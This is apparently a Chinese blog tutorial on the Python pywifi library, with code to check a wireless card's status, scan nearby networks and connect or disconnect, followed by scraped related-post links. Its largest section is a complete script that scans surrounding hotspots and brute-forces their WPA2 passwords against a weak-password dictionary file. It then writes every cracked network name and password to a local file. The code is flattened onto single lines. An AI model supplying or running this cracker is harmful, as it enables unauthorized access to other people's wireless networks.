python wifi模块
需要pip install pywifi
查看无线网卡状态
from pywifi import const,PyWiFi def test_interfaces():#查看无线网卡是否处于连接状态wifi=PyWiFi()#创建一个无线对象ifaces=wifi.interfaces()[0]#获取第一个无线网卡if ifaces.status() in[const.IFACE_CONNECTED,const.IFACE_CONNECTING]:print('无线网卡 %s 已连接!' % ifaces.name())else:print('无线网卡 %s 未连接!' % ifaces.name())if __name__=="__main__":test_interfaces()
扫描周围wifi
import pywifidef test_scan():#扫描周围wifiwifi = pywifi.PyWiFi()#创建一个无线对象iface = wifi.interfaces()[0]#取一个无线网卡iface.scan() #扫描周围wifibsses=iface.scan_results() #获取扫描结果for bss in bsses: #打印输出wifi信息print("wifi名称: %s" % bss.ssid) #输出wifi名称if __name__=="__main__":test_scan()
断开无线网卡的wifi连接
from pywifi import PyWiFi,const def test_disconnect():#断开无线网卡连接wifi=PyWiFi()#创建一个无线对象ifaces=wifi.interfaces()[0] #获取第一个无线网卡ifaces.disconnect() #断开无线网卡连接#判断网卡是否处于断开状态if ifaces.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]:print('无线网卡 %s 未连接! ' % ifaces.name())else:print('无线网卡 %s 已连接! ' % ifaces.name())if __name__=="__main__":test_disconnect()
可以看到wifi图标已经没有了
连接wifi
这里需要输入wifi名称和密码,创建一个profile后,然后通过这个profile去连接wifi
from pywifi import PyWiFi,const,Profile import time def test_connect(wifi_name,wifi_password):#连接wifiwifi=PyWiFi()#创建一个无线对象iface=wifi.interfaces()[0]#取第一个无线网卡iface.disconnect()#断开网卡连接time.sleep(3)#缓冲3秒profile_info=Profile()#wifi配置文件profile_info.ssid=wifi_name#wifi名称profile_info.auth=const.AUTH_ALG_OPEN#需要密码profile_info.akm.append(const.AKM_TYPE_WPA2PSK)#加密类型profile_info.cipher=const.CIPHER_TYPE_CCMP#加密单元profile_info.key =wifi_password#wifi密码iface.remove_all_network_profiles()#删除其他配置文件tmp_profile=iface.add_network_profile(profile_info)#加载配置文件iface.connect(tmp_profile)#连接time.sleep(5)#尝试5秒能否成功连接if iface.status()==const.IFACE_CONNECTED:print("wifi: %s 连接成功!" % wifi_name)else:print("wifi: %s 连接失败!" % wifi_name)if __name__=="__main__":test_connect('@PHICOMM_24_5G','*****')
暴力破解wifi密码
能不能破解主要看字典
from pywifi import const, PyWiFi, Profile import time# wifi类 class wifi(object):def __init__(self):self.wifi = PyWiFi() #创建一个无线对象self.interfaces = self.wifi.interfaces() #获取无线网卡接口self.iface = self.interfaces[0] #获取第一个无线网卡接口# 获取无线网卡接口def get_wifi_interfaces(self):num = len(self.interfaces)if num <= 0:print(u'未找到无线网卡接口!\n')exit()if num == 1:print(u'无线网卡接口: %s\n' % (self.iface.name()))return self.ifaceelse:print('%-4s %s\n'%(u'序号',u'网卡接口名称'))for i, w in enumerate(self.interfaces):print('%-4s %s' % (i, w.name()))while True:iface_no = input('请选择网卡接口序号:'.decode('utf-8').encode('gbk'))no = int(iface_no)if no >= 0 and no < num:return self.interfaces[no]# 查看无线网卡是否处于连接状态def check_interfaces(self): if self.iface.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]:print('无线网卡:%s 已连接。' % self.iface.name())else:print('无线网卡:%s 未连接。' % self.iface.name())# 扫描周围wifidef scan_wifi(self):self.iface.scan() #扫描周围wifitime.sleep(1) #不缓冲显示不出来result = self.iface.scan_results() #获取扫描结果,wifi可能会有重复has = [] #初始化已扫描到的wifiwifi_list = [] #初始化扫描结果for i in result:if i not in has: #若has中没有该wifi,则has.append(i) #添加到has列表if i.signal > -90: #信号强度<-90的wifi几乎连不上wifi_list.append((i.ssid, i.signal)) #添加到wifi列表print('wifi信号强度:{0},名称:{1}。'.format(i.signal, i.ssid))#输出wifi名称return sorted(wifi_list, key=lambda x:x[1], reverse=True) #按信号强度由高到低排序# 连接wifidef connect_wifi(self, wifi_name, wifi_password):self.iface.disconnect() #断开无线网卡连接time.sleep(1) #缓冲1秒profile_info = Profile() #wifi配置文件profile_info.ssid = wifi_name #wifi名称profile_info.auth = const.AUTH_ALG_OPEN #需要密码profile_info.akm.append(const.AKM_TYPE_WPA2PSK) #加密类型profile_info.cipher = const.CIPHER_TYPE_CCMP #加密单元profile_info.key = wifi_password #wifi密码self.iface.remove_all_network_profiles() #删除其他配置文件tmp_profile = self.iface.add_network_profile(profile_info) #加载配置文件self.iface.connect(tmp_profile) #连接#尝试5秒是否能成功连接(时间过短可能会导致正确密码尚未连接成功)time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED:print('\n==========================================================================')print('wifi:{0}连接成功,密码:{1}'.format(wifi_name, wifi_password), end='')print('==========================================================================\n')return Trueelse:print('密码错误:{0}'.format(wifi_password), end='')return False# 断开无线网卡已连接状态def disconnect_wifi(self):self.iface.disconnect() if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:print('无线网卡:%s 已断开。' % self.iface.name())else:print('无线网卡:%s 未断开。' % self.iface.name())if __name__ == '__main__':sf = ['Y', 'y', 'N', 'n']dian = input('是否需要手动点击破解下一个wifi热点(Y/N)?').strip()wifi = wifi() #实例化wifi类wifi.get_wifi_interfaces() #获取网卡接口wifi.check_interfaces() #检测网卡连接状态print('\n正在扫描wifi热点...')wifiList = wifi.scan_wifi() #扫描周围wifiprint('\n正在破解,时间较长,请耐心等待...')#所有破解成功的wifi名称及密码user_pwd = [] # 只能单线程破解,因为只有一个无线网卡,不能同时连接多个wifi热点for i in wifiList:print('正在破解%s,请耐心等待...' % i[0])start = time.time()with open(r'wifi常用弱口令字典.txt', 'r') as f: for password in f:try:result = wifi.connect_wifi(i[0], password) #尝试连接wifiif result == True: #若找到密码,则跳出,避免继续查找user_pwd.append((i[0], password)) #保存破解成功的wifi及密码breakexcept:continueend = time.time()shi = end - startprint('破解耗时:%s秒。' % shi)if dian == 'Y' or dian == 'y':xia = input('是否继续破解(Y/N)?').strip()while xia not in sf:print('输入错误,请重新输入!')xia = input('是否继续破解(Y/N)?')if xia == 'Y' or xia == 'y':continueelse:breakprint('\n==========================================================================')print('最终统计结果为:')with open(r'D:/py/wifi.txt', 'a') as pwd:for p in user_pwd:pwd.write('wifi热点:%s,密码:%s' % (p[0], p[1]))print(('wifi热点:%s,密码:%s' % (p[0], p[1])), end='')print('==========================================================================\n')wifi.disconnect_wifi() #断开无线网卡已连接状态
参考链接:
https://blog.csdn.net/qq_38882327/article/details/89349399?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
https://blog.csdn.net/xiaoxianerqq/article/details/81279425
python wifi模块相关推荐
- wifi模块 服务器通讯协议,模块之间通信协议
模块之间通信协议 内容精选 换一换 IEC61499 是分布式工业测量,控制和监控系统的功能块标准,既然它是面向工业测量和控制的系统,对系统的确定性(Deterministic)要求必然也比较高.确定 ...
- Python Re 模块超全解读!详细
内行必看!Python Re 模块超全解读! 2019.08.08 18:59:45字数 953阅读 121 re模块下的函数 compile(pattern):创建模式对象 > import ...
- python argparse模块_Python argparse模块应用实例解析
这篇文章主要介绍了Python argparse模块应用实例解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 简介 argparse是python ...
- 关于使用python logging模块的几点总结
关于使用python logging模块的几点总结 使用python的标准日志模块logging可以非常方便地记录日志.Python日志系统非常丰富.添加结构化或非结构化日志输出到python代码,写 ...
- python高级-模块(14)
一.python中的模块 有过C语言编程经验的朋友都知道在C语言中如果要引用sqrt函数,必须用语句#include <math.h>引入math.h这个头文件,否则是无法正常进行调用的. ...
- 【Linux驱动】ThinkPad笔记本wifi模块rtl8821ce在ubuntu16.04的驱动(默认没有)
0.wifi模块型号 在win10下设备管理器中查看,型号为:Realtek 8821CE Wireless LAN 802.11ac PCI-E NIC 1.问题描述 在ThinkPad上安装win ...
- 海思涵科技WIFI认证服务器不在线,在海思平台外加一个usb wifi模块,mt7601 加载ok,配置网络ok,但不能ping通?...
请教下:我用mt7601 usb wifi模块 加载驱动 配置网络后经常打印 PeerBeaconAtJoinAction(): Set CentralChannel=1 PeerBeaconAtJo ...
- 转载: Python os 模块的功能以及子函数介绍
原文链接: python之os模块 - 程序生(Codey) - 博客园 https://www.cnblogs.com/cxscode/p/8085326.html 一.Python OS模块介绍 ...
- 简单介绍python process模块
在python中大部分情况需要使用多进程,python提供了multiprocessing模块.multiprocessing模块的功能众多:支持子进程.通信和共享数据.执行不同形式的同步,提供了Pr ...
最新文章
- Notepad++自用主题推荐
- 安装百分之80卡住_新车买回来要不要安装发动机护板呢?装好还是不好?
- JavaSE(三)——数组及继承
- 简单小程序代码_开个小程序店铺需要多少钱?
- Java高次方数尾数输出_C语言求高次方数的尾数代码解析
- WinCE5.0 SMDK2410 BSP在GEC2410开发板上的移植(11)-BINFS在Nand上的实现(Multi-Bin的实现)
- java 并行_在使用Java并行流之前要三思而后行
- 软件测试用例的优点和缺点,浅析黑盒测试和白盒测试各自的优缺点
- 查找:对于长度为n的线性表最坏查找次数
- vnc服务器拼虚拟机,vnc连接虚拟机,7个步骤vnc连接虚拟机
- CString.Format详解【摘录】
- 网站常用组件收集整理
- C语言——基础链表详解
- 计算机桌面是快捷方式,我的电脑桌面上的图标都变成快捷方式了怎么处理?
- 上海商报:超级表格创始人叫板Excel
- PDF办公技巧之PDF怎么删除其中一页
- msf之msfvenom的使用—使用Kali渗透工具生成远控木马
- 如何判断运行中的代码是调试模式(debug),还是运行模式
- CF4A Watermelon(洛谷水题记)
- MD5 RSA DES